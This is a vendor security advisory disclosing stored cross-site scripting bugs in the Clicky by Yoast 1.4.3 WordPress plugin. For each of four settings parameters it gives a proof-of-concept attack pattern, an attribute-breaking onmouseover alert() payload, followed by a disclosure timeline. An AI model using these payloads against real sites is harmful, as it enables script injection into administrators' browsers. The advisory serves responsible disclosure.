Multiple Stored Cross-site Scripting Vulnerability Identified in Clicky by Yoast 1.4.3


Advisory by Netsparker (now Invicti)
Name: Stored Multiple XSS Vulnerabilities in Clicky by Yoast 1.4.3
Affected Software: Clicky By Yoast 1.4.3
Affected Versions: 1.4.3 and possibly below
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-008

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Clicky by Yoast 1.4.3:

URL: /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name: admin_site_key
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x000136)

URL: /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name: site_id
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x0000DA)

URL: /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name: site_key
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x000108)

URL: /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name: outbound_pattern
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x0001EE)

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

29 Jun 2016 – First Contact
01 Jul 2016 – Vendor Replied
27 Jul 2016 – Advisory Released


Patch released by Yoast SEO and announced here.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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